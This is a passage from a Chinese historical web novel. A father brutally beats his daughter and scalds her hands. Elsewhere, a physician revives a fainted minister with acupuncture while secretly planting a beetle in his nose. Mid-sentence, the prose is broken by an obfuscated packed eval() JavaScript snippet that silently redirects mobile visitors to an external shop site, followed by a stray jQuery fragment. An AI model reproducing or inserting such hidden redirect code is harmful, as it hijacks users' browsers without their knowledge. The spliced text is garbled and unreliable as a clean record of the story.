夏府。
夏子衿跟在夏衍身后。
她身侧的丫鬟眼眸里满是害怕,走路也僵了,身子还在微微轻颤。
夏子衿朝她轻轻摇摇头,又露出一个宽慰的笑。
一直到大堂。
屋里只有几个眼熟的下人和夏府的主母,当今天子的胞妹,谢凤仪。
夏衍一路忍着的怒意再也忍不下去了,甩了下衣袍,狠狠朝她脸上扇了一巴掌,这一巴掌几乎用尽了力气,他喘着粗气,胸膛上下起伏,夏子衿的脸被打得偏了过去,嘴角溢出一丝血。
她闷哼一声。
夏衍朝她的双腿踢了一脚,“跪下!”
一声沉重的声响,夏子衿双膝重重跪地,挺着脊背听训。
夏衍面色阴鸷,指着她大声训斥道:“好好的下首你不待着,非要去外面瞎逛,还不带着丫鬟,简直是不知天高地厚!”
“我怎么会养出你这么个女儿?被欺负忍气吞声,毫无骨气,你还当自己心善渡人呢?我要不要成全你!如此慈悲不如上山去当个女僧?简直是妇人之仁!”
“今晚你让我的脸都丢尽了,你知道那下人来寻我之时,我都替你害臊!”
下人低着头,大气都不敢喘一声。
夏衍仍不解气,脸颊都被气得通红,他抬起手重重地又一次朝夏子衿红肿的脸颊扇去。
‘啪’
清脆的巴掌声在这大堂里格外清晰,“你可知错?”
这一次夏子衿没忍住,身子不受控制地往一旁便去,她手撑着地才没倒下,疼得喉间溢出一声响,“女儿知错。”
一位下人端着刚沏好的茶水进来。
夏衍想都没想,直接将盛满茶水的注子朝她扔去,注子撞在肩上,盖子打开,里面的茶水也顺势泼了出来。
身上到没泼到,只是衣裳上溅了一点,可滚烫的茶水尽数泼到了撑着地的双手上,皮肉瞬间被烫得发麻,烫得她眼前一黑,紧跟着是钻心的疼,剧痛顺着四肢百骸炸开,整个人都僵在原地,连呼吸都带着蚀骨的灼痛。
夏衍眉眼间尽是狠戾,“错在何处?”
“女儿不懂规矩,行事孟浪,没有好好待在下首等候父亲,不仅举止失度,还害整个夏府与父亲颜面丧失,今日之失,全在女儿一人,女儿甘愿受罚。”
谢凤仪眉间露出一丝不忍来,走到他身旁劝道:“老爷可别把自己的身体气坏了,衿儿也已经知错了,她又不能算到未来会发生的事,怎会知道有人暗害她,今夜天气凉,她又在那池子里泡了那么久,也受苦了。”
“慈母多败儿!”夏衍冷眼看着她,心中的怒火依旧没有散去,又将矛头对准了她,“我瞧她这副样子就是你养出来的!早知如此,当初便养在慧娘身下。”
慧娘是夏衍最宠爱的妾,谢凤仪脸上一僵。
眼眸中一闪而过悔恨,她本是最受宠的公主,下嫁于他便算了,明明身为一个驸马,她却得反过来喊他一声老爷。
更可笑的是一个驸马竟还敢纳妾!
这一切都多亏了她那龙椅上的好兄长。
无智无谋,连个实权都掌握不住,一个臣子都能踩在他头上。
谢凤仪强压下心中的怒火,垂着头,低声认错,“老爷息怒,是我的不是,往后我定会多加管教衿儿,今日之事以后不会再犯了。”
夏衍又看了眼地上的夏子衿,沉声喝道:“陈家的婚约解不得,你最好祈祷陈家人今日不会登门拜访。”
这时,西院的下人来了,跪在门前,“老爷,姨娘问您何时过去?再不过去茶水都凉了。”
“滚回屋里,抄写家规百次。”
夏衍冷声命令下人道:“不抄完不许给她送饭。”
离去前沉着脸又冲夏子衿吼了一声,“你好自为之!”
说完头也不回,甩袖朝西院的方向赶去。
他一走,大堂顿时慌乱一片。
谢凤仪连忙扶起地上的夏子衿,她双手的指节红肿不堪,水泡鼓鼓囊囊,有的已磨得半破,渗着细珠似的水液。
她眼眶顿时一红,朝边上的嬷嬷吩咐道:“快!快去拿药!”
闺阁里。
谢凤仪红着眼替她擦药,眼里满是泪珠,“疼不疼?都是娘没用,你受苦了,都是娘没用。”
她语气里满是自责。
夏子衿眼里却没有心疼动容,她忍着手上的痛,吃力地拿起帕子替她擦去脸上的泪,安慰道:“我不疼了,娘你别哭了。”
说完,像是为了验证自己说的话,又朝她微微一笑,“我真的不疼了。”
谢凤仪看着她脸上的笑,眼里的泪再也没忍住,像断了线的风筝一样落下来,她拥着她,在她耳边不停地说:“娘对不住你。”
夏子衿安慰了好一会,她才离去。
丫鬟眼眶也是红着的,不忍地唤了声,“小姐。”
“我没事。”
夏子衿摇摇头,又道:“去帮我拿纸笔来,喊香妮进来给我研磨。”
丫鬟一惊,劝道:“小姐的手都这般了,还如何握笔写字?”
她面色不变,语气平淡地仿佛方才受伤的不是她一般,“不早些写完,父亲是不会消气的。”
屋里的油灯亮了一夜。
夏子衿脸色煞白,额间布满了大大小小的冷汗,苍白的下唇有一道齿印,被咬得出了血。
*
夏家人走后,王府的寿宴还没结束。
倪逾明跟在谢清未身旁,中途又伺候他吸了一次药。
王府请了京城的名班,此时正在奏乐。
平日里可是要花大价钱才能听上一曲,倪逾明听得出神。
忽而上首一片混乱。
哄吵声一片,许多人急急忙忙地进进出出。
倪逾明的兴致被打搅,皱了皱眉。
有个官员冲了出来,脸上覆上一层急色,脚步都快了几分,朝下人吼道:“王大人晕倒了!快去把府里的医师找来!快!”
没一会儿,方才那个小人匆匆跑了回来,吓得面无人色,慌乱得手足无措,“府里的医师昨日回家探亲了,还……还没回来。”
官员大惊失色,“可有人去找了黄太医?”
王沉于身子不好,曾求过皇上,皇上仁慈,派黄太医奉旨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838741|211563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给中书令看病。
这在京城有权有势的人家里几乎是人人皆知之事。
下人跪在一起,面面相觑,害怕地摇头。
里面又传来一声惊呼,“来…来不及了!王大人呼吸微弱,已经不省人事了!可有宾客带了医师过来?”
众人纷纷询问,又纷纷摇头,人群中不知道是谁突然喊道:“七皇子殿下!对!今日只有七皇子殿下带了医师!”
几个官员面露喜色,声音激动急切,“快!快将人带进来!”
倪逾明眉峰微微一扬,将手里的东西不动声色地藏回到袖子中,今日撞了运,竟然还没动手机会便来了。
一个官员匆忙赶到谢清未面前,好声询问道:“下官可否斗胆借殿下的医师一用?王大人危在旦夕,救命之事耽搁不得,还望殿□□谅。”
谢清未眉头紧锁,冷声道:“谁知道那王沉于得的是不是绝症,万一救不了,一命呜呼,本皇子的医师是不是还得担上杀人的罪名?那本皇子找谁说理去?”
倒时向倾承更不会放过他,王沉于和倪逾明孰轻孰重,他可分得清。
官员擦了擦鬓角的汗,赔声道:“殿下放心,下官以性命担保,不论可否医治,殿下的医师都会平安无事。”
谢清未这才同意。
倪逾明跟在他身后,挤进人群。
王沉于倒在地上。
他的身旁站着一对二十余岁的男女。
女子眉间怒意未散,却有些害怕地看着地上的人。
倪逾明蹲下身子,抬头喊道:“都往外散一散,敞窗透气。”
人命关天,其他人怎么敢不照做。
王沉于不省人事、手脚冰凉、呼吸微弱、像死了一样。
这是典型的卒厥,得此症之人往往受了惊吓,或气急攻心,或劳累疼痛,往往是情绪大动引起的。
当然不看,她也能猜到。
毕竟五年前师父诊过他。
她又朝众人确定一番,问道:“王大人晕过去前可是情绪大动?”
众人没出声,可眼神却控制不住地往方才站在王沉于身侧的年轻女子看去。
那女子抿着唇道:“他是被我的话气晕过去的。”
她这一说,倪逾明几乎能确定她的身份了。
王沉于的女儿。
倪逾明摊开布袋,露出长短各异的银针,人群中有人没忍住出声,语气里满是质疑,“你当真能用银针医治?莫要强不知以为知。”
她手上的动作微微一顿,“医道贵在相契,需信方可施,大人既心存疑虑,民女不敢妄为。”
那人低声说了句,“我可没说不信,王大人乃一国栋梁,自然要小心为甚。”
人群没人敢出声。
那女子朝她说:“继续罢,我信,无论结果是好是坏,我都不会为难你。”
倪逾明这才施针,分别扎在王沉于的人中、十宣、合谷、内关。
没人注意到她在人中施针之时,一只黑小的甲虫顺着她宽大的衣袖,爬进王沉于鼻里。
刚扎完,王沉于的手指微微动了下,眼皮缓缓掀开,醒了。